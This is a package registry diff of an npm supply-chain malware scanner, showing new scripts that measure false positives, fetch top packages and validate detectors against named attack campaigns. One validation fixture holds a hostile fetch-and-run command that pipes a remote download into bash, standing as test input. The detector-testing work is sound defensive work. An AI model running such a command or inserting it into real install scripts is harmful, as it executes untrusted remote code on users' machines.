@lateos/npm-scan 0.18.3 → 1.1.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/CHANGELOG.md +32 -0
- package/README.md +864 -826
- package/VALIDATION.md +92 -0
- package/backend/cra.js +113 -21
- package/backend/db/pg-schema.sql +155 -0
- package/backend/db.js +18 -10
- package/backend/detectors/atk-001-lifecycle.js +5 -5
- package/backend/detectors/atk-002-obfusc.js +126 -47
- package/backend/detectors/atk-003-creds.js +8 -4
- package/backend/detectors/atk-004-persist.js +3 -3
- package/backend/detectors/atk-005-exfil.js +8 -4
- package/backend/detectors/atk-006-depconf.js +3 -3
- package/backend/detectors/atk-007-typosquat.js +64 -10
- package/backend/detectors/atk-008-tarball-tamper.js +6 -6
- package/backend/detectors/atk-009-dormant-trigger.js +9 -5
- package/backend/detectors/atk-010-sandbox-evasion.js +25 -10
- package/backend/detectors/atk-011-transitive-prop.js +14 -13
- package/backend/detectors/axios-poisoning/d1-version-fingerprint.js +4 -4
- package/backend/detectors/axios-poisoning/d2-decoy-dep.js +5 -1
- package/backend/detectors/axios-poisoning/d3-postinstall-rat.js +64 -19
- package/backend/detectors/axios-poisoning/index.js +77 -60
- package/backend/detectors/config/thresholds.js +111 -0
- package/backend/detectors/config/whitelist.json +74 -0
- package/backend/detectors/cve-2026-48710-badhost/codePattern.js +26 -9
- package/backend/detectors/cve-2026-48710-badhost/findings.js +8 -4
- package/backend/detectors/cve-2026-48710-badhost/index.js +1 -1
- package/backend/detectors/cve-2026-48710-badhost/manifest.js +127 -39
- package/backend/detectors/cve-2026-48710-badhost/transitive.js +87 -28
- package/backend/detectors/hf-impersonation/index.js +94 -31
- package/backend/detectors/hf-impersonation/jaro-winkler.js +33 -12
- package/backend/detectors/hf-impersonation/known-orgs.js +15 -3
- package/backend/detectors/hf-impersonation/simhash.js +2 -2
- package/backend/detectors/index.js +184 -31
- package/backend/detectors/lib/ast-patterns.js +24 -0
- package/backend/detectors/lib/entropy-analyzer.js +32 -0
- package/backend/detectors/megalodon/d1-workflow-scan.js +40 -16
- package/backend/detectors/megalodon/d2-credential-harvest.js +12 -5
- package/backend/detectors/megalodon/d3-publish-velocity.js +17 -11
- package/backend/detectors/megalodon/d4-publisher-drift.js +48 -16
- package/backend/detectors/megalodon/d5-bot-commit-identity.js +1 -1
- package/backend/detectors/megalodon/d6-date-anachronism.js +1 -1
- package/backend/detectors/megalodon/index.js +35 -25
- package/backend/detectors/mini-shai-hulud/d1-burst-publish.js +3 -1
- package/backend/detectors/mini-shai-hulud/d2-sibling-compromise.js +22 -10
- package/backend/detectors/mini-shai-hulud/d3-slsa-mismatch.js +30 -10
- package/backend/detectors/mini-shai-hulud/d4-maintainer-anomaly.js +17 -13
- package/backend/detectors/mini-shai-hulud/d5-ioc-check.js +12 -4
- package/backend/detectors/mini-shai-hulud/d6-token-exfil.js +6 -2
- package/backend/detectors/mini-shai-hulud/index.js +63 -26
- package/backend/detectors/msh-supplement/d2-persistence.js +30 -12
- package/backend/detectors/msh-supplement/d3-geo-killswitch.js +20 -8
- package/backend/detectors/msh-supplement/d4-c2-deaddrop.js +19 -5
- package/backend/detectors/msh-supplement/index.js +78 -63
- package/backend/detectors/node-ipc-compromise/d1-version-blocklist.js +4 -2
- package/backend/detectors/node-ipc-compromise/d10-unauthorized-publisher.js +9 -5
- package/backend/detectors/node-ipc-compromise/d11-blast-radius.js +7 -3
- package/backend/detectors/node-ipc-compromise/d2-tarball-hash.js +9 -4
- package/backend/detectors/node-ipc-compromise/d3-cjs-payload-injection.js +7 -5
- package/backend/detectors/node-ipc-compromise/d4-injected-payload-hash.js +4 -2
- package/backend/detectors/node-ipc-compromise/d5-dns-c2-pattern.js +13 -10
- package/backend/detectors/node-ipc-compromise/d7-dns-txt-exfil.js +3 -1
- package/backend/detectors/node-ipc-compromise/d8-runtime-trigger.js +5 -2
- package/backend/detectors/node-ipc-compromise/index.js +21 -15
- package/backend/detectors/tier1-binary-embed.js +138 -41
- package/backend/detectors/tier1-cloud-imds.js +57 -37
- package/backend/detectors/tier1-encrypted-c2.js +198 -0
- package/backend/detectors/tier1-infostealer.js +121 -68
- package/backend/detectors/tier1-lifecycle-hook.js +63 -23
- package/backend/detectors/tier1-maintainer-compromise.js +157 -0
- package/backend/detectors/tier1-metadata-spoof.js +92 -42
- package/backend/detectors/tier1-multistage-postinstall.js +46 -19
- package/backend/detectors/tier1-obfuscation-heuristics.js +184 -0
- package/backend/detectors/tier1-self-propagation.js +115 -0
- package/backend/detectors/tier1-slsa-attestation.js +12 -0
- package/backend/detectors/tier1-transitive-deps.js +182 -0
- package/backend/detectors/tier1-typosquat.js +129 -50
- package/backend/detectors/tier1-version-anomaly.js +223 -0
- package/backend/detectors/tier1-version-confusion.js +79 -59
- package/backend/detectors/trapdoor/d1-campaign-marker.js +3 -1
- package/backend/detectors/trapdoor/d2-payload-fingerprint.js +1 -1
- package/backend/detectors/trapdoor/d3-publisher-blocklist.js +4 -3
- package/backend/detectors/trapdoor/d4-gists-exfil.js +4 -2
- package/backend/detectors/trapdoor/d5-ai-poisoning.js +5 -3
- package/backend/detectors/trapdoor/d6-lure-name.js +12 -7
- package/backend/detectors/trapdoor/d7-crypto-primitives.js +2 -2
- package/backend/detectors/trapdoor/d8-xor-key.js +7 -2
- package/backend/detectors/trapdoor/d9-cred-validation.js +4 -5
- package/backend/detectors/trapdoor/index.js +19 -14
- package/backend/detectors/typosquat-vpmdhaj/d1-maintainer.js +32 -8
- package/backend/detectors/typosquat-vpmdhaj/d2-preinstall-loader.js +5 -3
- package/backend/detectors/typosquat-vpmdhaj/d3-cred-exfil.js +34 -12
- package/backend/detectors/typosquat-vpmdhaj/index.js +78 -59
- package/backend/detectors.test.js +147 -0
- package/backend/fetch.js +37 -29
- package/backend/index.js +1 -1
- package/backend/license.js +20 -4
- package/backend/lockfile.js +60 -36
- package/backend/pdf.js +107 -28
- package/backend/policy.js +183 -56
- package/backend/provenance.js +28 -3
- package/backend/report.js +136 -70
- package/backend/sbom.js +33 -27
- package/backend/scripts/analyze-false-positives.js +152 -0
- package/backend/scripts/analyze-validation.js +157 -0
- package/backend/scripts/detect-false-positives.js +103 -0
- package/backend/scripts/fetch-top-packages.js +277 -0
- package/backend/scripts/validate-d10-d13.js +103 -0
- package/backend/scripts/validate-detectors.js +151 -0
- package/backend/siem/cef.js +23 -21
- package/backend/siem/ecs.js +3 -3
- package/backend/siem/index.js +1 -1
- package/backend/siem/qradar.js +3 -3
- package/backend/siem/sentinel.js +2 -2
- package/backend/tests-d5-enhanced.test.js +47 -0
- package/backend/tests-d6-version-anomaly.test.js +67 -0
- package/backend/tests-d6.test.js +126 -0
- package/backend/tests-d6c.test.js +119 -0
- package/backend/tests-d7-obfuscation.test.js +88 -0
- package/backend/tests.test.js +997 -0
- package/backend/vsix-scan/detectors/activation-event-risk.js +36 -19
- package/backend/vsix-scan/detectors/burst-publish.js +14 -7
- package/backend/vsix-scan/detectors/exfil-pattern.js +7 -3
- package/backend/vsix-scan/detectors/known-ioc.js +23 -8
- package/backend/vsix-scan/detectors/orphan-commit-fetch.js +11 -7
- package/backend/vsix-scan/detectors/publisher-anomaly.js +24 -10
- package/backend/vsix-scan/index.js +97 -41
- package/backend/vsix-scan/marketplace-client.js +29 -13
- package/cli/cli.js +154 -64
- package/package.json +36 -10
- package/.dockerignore +0 -20
- package/.husky/pre-commit +0 -1
- package/SECURITY.md +0 -73
- package/deploy/helm/npm-scan/Chart.yaml +0 -22
- package/deploy/helm/npm-scan/templates/_helpers.tpl +0 -9
- package/deploy/helm/npm-scan/templates/api.yaml +0 -94
- package/deploy/helm/npm-scan/templates/ingress.yaml +0 -28
- package/deploy/helm/npm-scan/templates/postgresql.yaml +0 -67
- package/deploy/helm/npm-scan/templates/secrets.yaml +0 -19
- package/deploy/helm/npm-scan/templates/worker.yaml +0 -32
- package/deploy/helm/npm-scan/values.byoc.yaml +0 -75
- package/deploy/helm/npm-scan/values.yaml +0 -103
- package/scripts/download-corpus.js +0 -30
- package/scripts/gen-mal-corpus.js +0 -35
- package/scripts/generate-campaign-fixtures.js +0 -170
- package/src/config/top-5000.json +0 -87
- package/test/fixtures/lockfiles/npm-lock.json +0 -69
- package/test/fixtures/lockfiles/pnpm-lock.yaml +0 -118
- package/test/fixtures/lockfiles/yarn.lock +0 -104
- package/test/fixtures/mock-data.js +0 -69
|
@@ -0,0 +1,103 @@
|
|
|
1
|
+
#!/usr/bin/env node
|
|
2
|
+
import { readFileSync, writeFileSync, existsSync } from 'node:fs';
|
|
3
|
+
import { resolve } from 'node:path';
|
|
4
|
+
import { runAll } from '../detectors/index.js';
|
|
5
|
+
import whitelist from '../detectors/config/whitelist.json' with { type: 'json' };
|
|
6
|
+
|
|
7
|
+
const WHITELIST_MAP = new Map();
|
|
8
|
+
for (const entry of whitelist.packages) {
|
|
9
|
+
WHITELIST_MAP.set(entry.name, new Set(entry.detectors));
|
|
10
|
+
}
|
|
11
|
+
|
|
12
|
+
async function detectFalsePositives(topPackagesFile, confidenceThreshold = 70) {
|
|
13
|
+
const absPath = resolve(topPackagesFile);
|
|
14
|
+
if (!existsSync(absPath)) {
|
|
15
|
+
console.error(`[ERROR] Top packages file not found: ${absPath}`);
|
|
16
|
+
console.error(' Run fetch-top-packages.js first');
|
|
17
|
+
process.exit(1);
|
|
18
|
+
}
|
|
19
|
+
|
|
20
|
+
const text = readFileSync(absPath, 'utf-8');
|
|
21
|
+
const lines = text.split('\n').filter((l) => l.trim());
|
|
22
|
+
console.log(`[INFO] Loaded ${lines.length} packages from ${topPackagesFile}`);
|
|
23
|
+
|
|
24
|
+
const falsePositives = [];
|
|
25
|
+
let count = 0;
|
|
26
|
+
let skipped = 0;
|
|
27
|
+
|
|
28
|
+
for (const line of lines) {
|
|
29
|
+
const pkg = JSON.parse(line);
|
|
30
|
+
count += 1;
|
|
31
|
+
|
|
32
|
+
const pkgName = pkg.name;
|
|
33
|
+
const whitelistedDetectors = WHITELIST_MAP.get(pkgName);
|
|
34
|
+
|
|
35
|
+
if (whitelistedDetectors) {
|
|
36
|
+
skipped += 1;
|
|
37
|
+
if (count % 200 === 0 || count <= 5) {
|
|
38
|
+
console.log(`[SKIP] ${pkgName} (whitelisted for ${[...whitelistedDetectors].join(', ')})`);
|
|
39
|
+
}
|
|
40
|
+
} else {
|
|
41
|
+
if (count % 100 === 0) {
|
|
42
|
+
console.log(`[PROGRESS] Processed ${count}/${lines.length} packages...`);
|
|
43
|
+
}
|
|
44
|
+
}
|
|
45
|
+
|
|
46
|
+
try {
|
|
47
|
+
const pkgJson = { name: pkgName, version: pkg.version };
|
|
48
|
+
const findings = await runAll(pkgJson, [], null, []);
|
|
49
|
+
|
|
50
|
+
for (const detection of findings) {
|
|
51
|
+
if (detection.confidenceScore < confidenceThreshold) {
|
|
52
|
+
continue;
|
|
53
|
+
}
|
|
54
|
+
if (whitelistedDetectors && whitelistedDetectors.has(detection.id)) {
|
|
55
|
+
continue;
|
|
56
|
+
}
|
|
57
|
+
|
|
58
|
+
falsePositives.push({
|
|
59
|
+
package: pkgName,
|
|
60
|
+
version: pkg.version,
|
|
61
|
+
detector: detection.id,
|
|
62
|
+
confidence: detection.confidenceScore,
|
|
63
|
+
severity: detection.severity,
|
|
64
|
+
subtype: detection.subtype,
|
|
65
|
+
message: detection.message,
|
|
66
|
+
evidence: detection.evidence,
|
|
67
|
+
timestamp: new Date().toISOString(),
|
|
68
|
+
});
|
|
69
|
+
|
|
70
|
+
if (falsePositives.length <= 10) {
|
|
71
|
+
console.log(
|
|
72
|
+
`[FLAG] ${pkgName}@${pkg.version}: ${detection.id} (${detection.confidenceScore}%)`
|
|
73
|
+
);
|
|
74
|
+
}
|
|
75
|
+
}
|
|
76
|
+
} catch (err) {
|
|
77
|
+
console.error(`[ERROR] ${pkgName}: ${err.message}`);
|
|
78
|
+
}
|
|
79
|
+
}
|
|
80
|
+
|
|
81
|
+
const outPath = resolve('false-positives.jsonl');
|
|
82
|
+
const outputData = falsePositives.map((fp) => JSON.stringify(fp)).join('\n') + '\n';
|
|
83
|
+
writeFileSync(outPath, outputData, 'utf-8');
|
|
84
|
+
|
|
85
|
+
const scannedCount = count - skipped;
|
|
86
|
+
console.log(`\n[SUMMARY] Scanned ${scannedCount} packages (skipped ${skipped} whitelisted)`);
|
|
87
|
+
console.log(
|
|
88
|
+
`[SUMMARY] Found ${falsePositives.length} potential false positives (${((falsePositives.length / scannedCount) * 100).toFixed(1)}% FP rate)`
|
|
89
|
+
);
|
|
90
|
+
console.log(`[INFO] Written to ${outPath}`);
|
|
91
|
+
|
|
92
|
+
return falsePositives;
|
|
93
|
+
}
|
|
94
|
+
|
|
95
|
+
const topPackagesFile = process.argv[2] || 'top-packages.jsonl';
|
|
96
|
+
const confidenceThreshold = parseInt(process.argv[3]) || 70;
|
|
97
|
+
|
|
98
|
+
detectFalsePositives(topPackagesFile, confidenceThreshold)
|
|
99
|
+
.then(() => process.exit(0))
|
|
100
|
+
.catch((err) => {
|
|
101
|
+
console.error(`[FATAL] ${err.message}`);
|
|
102
|
+
process.exit(1);
|
|
103
|
+
});
|
|
@@ -0,0 +1,277 @@
|
|
|
1
|
+
#!/usr/bin/env node
|
|
2
|
+
import { writeFileSync } from 'node:fs';
|
|
3
|
+
import { resolve } from 'node:path';
|
|
4
|
+
|
|
5
|
+
async function fetchTopPackages(limit = 1000) {
|
|
6
|
+
console.log(`[INFO] Fetching top ${limit} npm packages via npms.io...`);
|
|
7
|
+
|
|
8
|
+
const packages = [];
|
|
9
|
+
const pageSize = 50;
|
|
10
|
+
const numPages = Math.ceil(limit / pageSize);
|
|
11
|
+
|
|
12
|
+
for (let page = 0; page < numPages; page++) {
|
|
13
|
+
const from = page * pageSize;
|
|
14
|
+
const q = encodeURIComponent('not:deprecated');
|
|
15
|
+
const url = `https://api.npms.io/v2/search?q=${q}&size=${pageSize}&from=${from}`;
|
|
16
|
+
|
|
17
|
+
console.log(`[INFO] Fetching page ${page + 1}/${numPages} (offset ${from})...`);
|
|
18
|
+
|
|
19
|
+
try {
|
|
20
|
+
const response = await fetch(url, { signal: AbortSignal.timeout(15000) });
|
|
21
|
+
if (!response.ok) {
|
|
22
|
+
console.error(`[ERROR] npms.io returned ${response.status} for page ${page + 1}`);
|
|
23
|
+
continue;
|
|
24
|
+
}
|
|
25
|
+
|
|
26
|
+
const data = await response.json();
|
|
27
|
+
|
|
28
|
+
for (const result of data.results || []) {
|
|
29
|
+
if (packages.length >= limit) {
|
|
30
|
+
break;
|
|
31
|
+
}
|
|
32
|
+
packages.push({
|
|
33
|
+
name: result.package.name,
|
|
34
|
+
version: result.package.version,
|
|
35
|
+
description: result.package.description || '',
|
|
36
|
+
keywords: result.package.keywords || [],
|
|
37
|
+
publisher: result.package.publisher ? result.package.publisher.username : null,
|
|
38
|
+
date: result.package.date,
|
|
39
|
+
score: result.score
|
|
40
|
+
? {
|
|
41
|
+
final: result.score.final,
|
|
42
|
+
quality: result.score.detail?.quality,
|
|
43
|
+
popularity: result.score.detail?.popularity,
|
|
44
|
+
maintenance: result.score.detail?.maintenance,
|
|
45
|
+
}
|
|
46
|
+
: null,
|
|
47
|
+
});
|
|
48
|
+
}
|
|
49
|
+
|
|
50
|
+
console.log(` Retrieved ${packages.length} packages so far`);
|
|
51
|
+
} catch (err) {
|
|
52
|
+
console.error(`[ERROR] Failed page ${page + 1}: ${err.message}`);
|
|
53
|
+
}
|
|
54
|
+
|
|
55
|
+
if (packages.length >= limit) {
|
|
56
|
+
break;
|
|
57
|
+
}
|
|
58
|
+
|
|
59
|
+
if (page < numPages - 1) {
|
|
60
|
+
await new Promise((r) => setTimeout(r, 2000));
|
|
61
|
+
}
|
|
62
|
+
}
|
|
63
|
+
|
|
64
|
+
if (packages.length === 0) {
|
|
65
|
+
console.log('[ERROR] No packages fetched. Using fallback known-top list.');
|
|
66
|
+
return await fallbackList(limit);
|
|
67
|
+
}
|
|
68
|
+
|
|
69
|
+
const outPath = resolve('top-packages.jsonl');
|
|
70
|
+
const lines = packages.map((pkg) => JSON.stringify(pkg)).join('\n') + '\n';
|
|
71
|
+
writeFileSync(outPath, lines, 'utf-8');
|
|
72
|
+
console.log(`\n[INFO] Written ${packages.length} packages to ${outPath}`);
|
|
73
|
+
return packages;
|
|
74
|
+
}
|
|
75
|
+
|
|
76
|
+
async function fallbackList(limit) {
|
|
77
|
+
const knownTop = [
|
|
78
|
+
'lodash',
|
|
79
|
+
'chalk',
|
|
80
|
+
'react',
|
|
81
|
+
'express',
|
|
82
|
+
'commander',
|
|
83
|
+
'axios',
|
|
84
|
+
'moment',
|
|
85
|
+
'webpack',
|
|
86
|
+
'eslint',
|
|
87
|
+
'typescript',
|
|
88
|
+
'prettier',
|
|
89
|
+
'babel',
|
|
90
|
+
'next',
|
|
91
|
+
'vue',
|
|
92
|
+
'angular',
|
|
93
|
+
'redux',
|
|
94
|
+
'jest',
|
|
95
|
+
'mocha',
|
|
96
|
+
'chai',
|
|
97
|
+
'sinon',
|
|
98
|
+
'nodemon',
|
|
99
|
+
'debug',
|
|
100
|
+
'async',
|
|
101
|
+
'request',
|
|
102
|
+
'colors',
|
|
103
|
+
'mkdirp',
|
|
104
|
+
'fs-extra',
|
|
105
|
+
'glob',
|
|
106
|
+
'yargs',
|
|
107
|
+
'minimist',
|
|
108
|
+
'uuid',
|
|
109
|
+
'date-fns',
|
|
110
|
+
'crypto-js',
|
|
111
|
+
'jsonwebtoken',
|
|
112
|
+
'passport',
|
|
113
|
+
'socket.io',
|
|
114
|
+
'ws',
|
|
115
|
+
'graphql',
|
|
116
|
+
'apollo',
|
|
117
|
+
'prisma',
|
|
118
|
+
'mongoose',
|
|
119
|
+
'pg',
|
|
120
|
+
'mysql2',
|
|
121
|
+
'redis',
|
|
122
|
+
'sequelize',
|
|
123
|
+
'typeorm',
|
|
124
|
+
'dotenv',
|
|
125
|
+
'cross-env',
|
|
126
|
+
'rimraf',
|
|
127
|
+
'semver',
|
|
128
|
+
'rimraf',
|
|
129
|
+
'tar',
|
|
130
|
+
'inquirer',
|
|
131
|
+
'ora',
|
|
132
|
+
'listr',
|
|
133
|
+
'conf',
|
|
134
|
+
'env-paths',
|
|
135
|
+
'find-up',
|
|
136
|
+
'p-locate',
|
|
137
|
+
'locate-path',
|
|
138
|
+
'path-exists',
|
|
139
|
+
'y18n',
|
|
140
|
+
'yallist',
|
|
141
|
+
'minipass',
|
|
142
|
+
'minizlib',
|
|
143
|
+
'supports-color',
|
|
144
|
+
'has-flag',
|
|
145
|
+
'wrap-ansi',
|
|
146
|
+
'string-width',
|
|
147
|
+
'strip-ansi',
|
|
148
|
+
'ansi-regex',
|
|
149
|
+
'is-fullwidth-code-point',
|
|
150
|
+
'emoji-regex',
|
|
151
|
+
'cliui',
|
|
152
|
+
'escalade',
|
|
153
|
+
'get-caller-file',
|
|
154
|
+
'require-directory',
|
|
155
|
+
'npm',
|
|
156
|
+
'node-fetch',
|
|
157
|
+
'got',
|
|
158
|
+
'phin',
|
|
159
|
+
'undici',
|
|
160
|
+
'make-fetch-happen',
|
|
161
|
+
'cacache',
|
|
162
|
+
'ssri',
|
|
163
|
+
'unique-filename',
|
|
164
|
+
'unique-slug',
|
|
165
|
+
'imurmurhash',
|
|
166
|
+
'signal-exit',
|
|
167
|
+
'which',
|
|
168
|
+
'isexe',
|
|
169
|
+
'minimatch',
|
|
170
|
+
'brace-expansion',
|
|
171
|
+
'balanced-match',
|
|
172
|
+
'concat-map',
|
|
173
|
+
'lru-cache',
|
|
174
|
+
'yallist',
|
|
175
|
+
'semver',
|
|
176
|
+
'json5',
|
|
177
|
+
'tslib',
|
|
178
|
+
'source-map',
|
|
179
|
+
'source-map-js',
|
|
180
|
+
'ms',
|
|
181
|
+
'mime',
|
|
182
|
+
'cookie',
|
|
183
|
+
'express-session',
|
|
184
|
+
'body-parser',
|
|
185
|
+
'cors',
|
|
186
|
+
'helmet',
|
|
187
|
+
'morgan',
|
|
188
|
+
'compression',
|
|
189
|
+
'serve-static',
|
|
190
|
+
'send',
|
|
191
|
+
'fresh',
|
|
192
|
+
'etag',
|
|
193
|
+
'parseurl',
|
|
194
|
+
'utils-merge',
|
|
195
|
+
'methods',
|
|
196
|
+
'array-flatten',
|
|
197
|
+
'qs',
|
|
198
|
+
'merge-descriptors',
|
|
199
|
+
'path-to-regexp',
|
|
200
|
+
'iconv-lite',
|
|
201
|
+
'raw-body',
|
|
202
|
+
'on-finished',
|
|
203
|
+
'ee-first',
|
|
204
|
+
'inherits',
|
|
205
|
+
'depd',
|
|
206
|
+
'http-errors',
|
|
207
|
+
'statuses',
|
|
208
|
+
'setprototypeof',
|
|
209
|
+
'toidentifier',
|
|
210
|
+
'content-type',
|
|
211
|
+
'negotiator',
|
|
212
|
+
'accepts',
|
|
213
|
+
'type-is',
|
|
214
|
+
'vary',
|
|
215
|
+
'encodeurl',
|
|
216
|
+
'escape-html',
|
|
217
|
+
'destroy',
|
|
218
|
+
'bytes',
|
|
219
|
+
'unpipe',
|
|
220
|
+
'finalhandler',
|
|
221
|
+
'media-typer',
|
|
222
|
+
'http-proxy',
|
|
223
|
+
'http-proxy-middleware',
|
|
224
|
+
'morgan',
|
|
225
|
+
'connect',
|
|
226
|
+
'pino',
|
|
227
|
+
'winston',
|
|
228
|
+
'bunyan',
|
|
229
|
+
'log4js',
|
|
230
|
+
'nanoid',
|
|
231
|
+
'uid',
|
|
232
|
+
'ulid',
|
|
233
|
+
'cuid',
|
|
234
|
+
'shortid',
|
|
235
|
+
'uuidv4',
|
|
236
|
+
'uuidv7',
|
|
237
|
+
'bcrypt',
|
|
238
|
+
'bcryptjs',
|
|
239
|
+
'argon2',
|
|
240
|
+
'scrypt',
|
|
241
|
+
'pbkdf2',
|
|
242
|
+
'crypto',
|
|
243
|
+
'node-forge',
|
|
244
|
+
'pkijs',
|
|
245
|
+
'asn1js',
|
|
246
|
+
'jsrsasign',
|
|
247
|
+
'jose',
|
|
248
|
+
'jwk',
|
|
249
|
+
];
|
|
250
|
+
const pkgs = knownTop.slice(0, limit).map((name, i) => ({
|
|
251
|
+
name,
|
|
252
|
+
version: '1.0.0',
|
|
253
|
+
description: '',
|
|
254
|
+
keywords: [],
|
|
255
|
+
publisher: null,
|
|
256
|
+
date: null,
|
|
257
|
+
score: { final: 1 - i / knownTop.length, quality: 0.9, popularity: 0.9, maintenance: 0.9 },
|
|
258
|
+
}));
|
|
259
|
+
console.log(`[FALLBACK] Using ${pkgs.length} known top packages`);
|
|
260
|
+
|
|
261
|
+
const outPath = resolve('top-packages.jsonl');
|
|
262
|
+
const lines = pkgs.map((pkg) => JSON.stringify(pkg)).join('\n') + '\n';
|
|
263
|
+
writeFileSync(outPath, lines, 'utf-8');
|
|
264
|
+
console.log(`[INFO] Written ${pkgs.length} packages to ${outPath}`);
|
|
265
|
+
return pkgs;
|
|
266
|
+
}
|
|
267
|
+
|
|
268
|
+
const limit = parseInt(process.argv[2]) || 1000;
|
|
269
|
+
fetchTopPackages(limit)
|
|
270
|
+
.then((pkgs) => {
|
|
271
|
+
console.log(`[DONE] ${pkgs.length} packages fetched`);
|
|
272
|
+
process.exit(0);
|
|
273
|
+
})
|
|
274
|
+
.catch((err) => {
|
|
275
|
+
console.error(`[FATAL] ${err.message}`);
|
|
276
|
+
process.exit(1);
|
|
277
|
+
});
|
|
@@ -0,0 +1,103 @@
|
|
|
1
|
+
import { scan as d10scan } from '../detectors/tier1-self-propagation.js';
|
|
2
|
+
import { scan as d11scan } from '../detectors/tier1-encrypted-c2.js';
|
|
3
|
+
import { scan as d12scan } from '../detectors/tier1-transitive-deps.js';
|
|
4
|
+
import { scan as d13scan } from '../detectors/tier1-maintainer-compromise.js';
|
|
5
|
+
|
|
6
|
+
const results = [];
|
|
7
|
+
|
|
8
|
+
// D10 + D13: @redhat-cloud-services Miasma (32 packages, 12 versions in 2 hours)
|
|
9
|
+
const miasmaTime = { '0.0.1': '2024-01-01T00:00:00.000Z' };
|
|
10
|
+
for (let i = 0; i < 12; i++) {
|
|
11
|
+
const t = new Date('2026-06-01T03:00:00Z');
|
|
12
|
+
t.setMinutes(t.getMinutes() - (12 - i) * 10);
|
|
13
|
+
miasmaTime[`2.${i}.0`] = t.toISOString();
|
|
14
|
+
}
|
|
15
|
+
const miasmaRegistryD10 = {
|
|
16
|
+
time: miasmaTime,
|
|
17
|
+
namespacePackages: Array.from({ length: 31 }, (_, i) => `@redhat-cloud-services/pkg-${i}`),
|
|
18
|
+
};
|
|
19
|
+
const miasmaRegistryD13 = {
|
|
20
|
+
time: miasmaTime,
|
|
21
|
+
crossPackageBurst: true,
|
|
22
|
+
};
|
|
23
|
+
|
|
24
|
+
const d10Result = await d10scan(
|
|
25
|
+
{ name: '@redhat-cloud-services/foo', version: '2.11.0' },
|
|
26
|
+
[],
|
|
27
|
+
miasmaRegistryD10,
|
|
28
|
+
null
|
|
29
|
+
);
|
|
30
|
+
const d13Result = await d13scan(
|
|
31
|
+
{ name: '@redhat-cloud-services/foo', version: '2.11.0' },
|
|
32
|
+
[],
|
|
33
|
+
miasmaRegistryD13,
|
|
34
|
+
null
|
|
35
|
+
);
|
|
36
|
+
|
|
37
|
+
results.push({
|
|
38
|
+
campaign: '@redhat-cloud-services Miasma',
|
|
39
|
+
detectors: {
|
|
40
|
+
D10: { triggered: d10Result.length > 0, confidence: d10Result[0]?.confidenceScore || 0 },
|
|
41
|
+
D13: { triggered: d13Result.length > 0, confidence: d13Result[0]?.confidenceScore || 0 },
|
|
42
|
+
},
|
|
43
|
+
});
|
|
44
|
+
|
|
45
|
+
// D11: TanStack Mini Shai-Hulud
|
|
46
|
+
const tanStackFiles = [
|
|
47
|
+
{ path: 'install.sh', content: 'curl -s https://filev2.getsession.org/upload | bash' },
|
|
48
|
+
];
|
|
49
|
+
const d11Result = await d11scan(
|
|
50
|
+
{ name: '@tanstack/react-query', version: '4.29.1' },
|
|
51
|
+
tanStackFiles,
|
|
52
|
+
null,
|
|
53
|
+
null
|
|
54
|
+
);
|
|
55
|
+
|
|
56
|
+
results.push({
|
|
57
|
+
campaign: 'TanStack Mini Shai-Hulud',
|
|
58
|
+
detectors: {
|
|
59
|
+
D11: { triggered: d11Result.length > 0, confidence: d11Result[0]?.confidenceScore || 0 },
|
|
60
|
+
},
|
|
61
|
+
});
|
|
62
|
+
|
|
63
|
+
// D12: Axios Backdoor (plain-crypto-js)
|
|
64
|
+
const d12Result = await d12scan(
|
|
65
|
+
{
|
|
66
|
+
name: 'test-app',
|
|
67
|
+
dependencies: { axios: '1.14.1', 'plain-crypto-js': '1.0.0', lodash: '4.17.21' },
|
|
68
|
+
},
|
|
69
|
+
[],
|
|
70
|
+
null,
|
|
71
|
+
null
|
|
72
|
+
);
|
|
73
|
+
|
|
74
|
+
results.push({
|
|
75
|
+
campaign: 'Axios Backdoor',
|
|
76
|
+
detectors: {
|
|
77
|
+
D12: { triggered: d12Result.length > 0, confidence: d12Result[0]?.confidenceScore || 0 },
|
|
78
|
+
},
|
|
79
|
+
});
|
|
80
|
+
|
|
81
|
+
let allPassed = true;
|
|
82
|
+
for (const { campaign, detectors } of results) {
|
|
83
|
+
const details = Object.entries(detectors)
|
|
84
|
+
.map(([d, r]) => `${d}: ${r.triggered ? 'PASS' : 'FAIL'} (confidence ${r.confidence})`)
|
|
85
|
+
.join(', ');
|
|
86
|
+
const campaignPassed = Object.values(detectors).every((r) => r.triggered);
|
|
87
|
+
console.log(`${campaignPassed ? 'PASS' : 'FAIL'} ${campaign}: ${details}`);
|
|
88
|
+
if (!campaignPassed) allPassed = false;
|
|
89
|
+
}
|
|
90
|
+
|
|
91
|
+
if (allPassed) {
|
|
92
|
+
console.log('\nAll campaigns validated successfully.');
|
|
93
|
+
} else {
|
|
94
|
+
console.log('\nSome campaigns FAILED validation.');
|
|
95
|
+
}
|
|
96
|
+
|
|
97
|
+
const output = {
|
|
98
|
+
timestamp: new Date().toISOString(),
|
|
99
|
+
results,
|
|
100
|
+
passed: allPassed,
|
|
101
|
+
};
|
|
102
|
+
const fs = await import('fs');
|
|
103
|
+
fs.writeFileSync('validation-d10-d13.json', JSON.stringify(output, null, 2));
|
|
@@ -0,0 +1,151 @@
|
|
|
1
|
+
#!/usr/bin/env node
|
|
2
|
+
import { readFileSync, writeFileSync, existsSync } from 'node:fs';
|
|
3
|
+
import { resolve } from 'node:path';
|
|
4
|
+
import { runAll } from '../detectors/index.js';
|
|
5
|
+
|
|
6
|
+
const CAMPAIGN_FIXTURES = {
|
|
7
|
+
'campaign-1': 'fixtures/campaigns/campaign-1-dependency-confusion.jsonl',
|
|
8
|
+
'campaign-2': 'fixtures/campaigns/campaign-2-mini-shai-hulud.jsonl',
|
|
9
|
+
'campaign-3': 'fixtures/campaigns/campaign-3-bitwarden-impersonation.jsonl',
|
|
10
|
+
};
|
|
11
|
+
|
|
12
|
+
function loadFixture(filePath) {
|
|
13
|
+
const abs = resolve(filePath);
|
|
14
|
+
if (!existsSync(abs)) {
|
|
15
|
+
console.error(`[ERROR] Fixture not found: ${abs}`);
|
|
16
|
+
return [];
|
|
17
|
+
}
|
|
18
|
+
const text = readFileSync(abs, 'utf-8');
|
|
19
|
+
return text
|
|
20
|
+
.split('\n')
|
|
21
|
+
.filter((l) => l.trim())
|
|
22
|
+
.map((l) => JSON.parse(l));
|
|
23
|
+
}
|
|
24
|
+
|
|
25
|
+
async function fetchNpmMetadata(pkgName, version) {
|
|
26
|
+
try {
|
|
27
|
+
const url = `https://registry.npmjs.org/${encodeURIComponent(pkgName)}/${version}`;
|
|
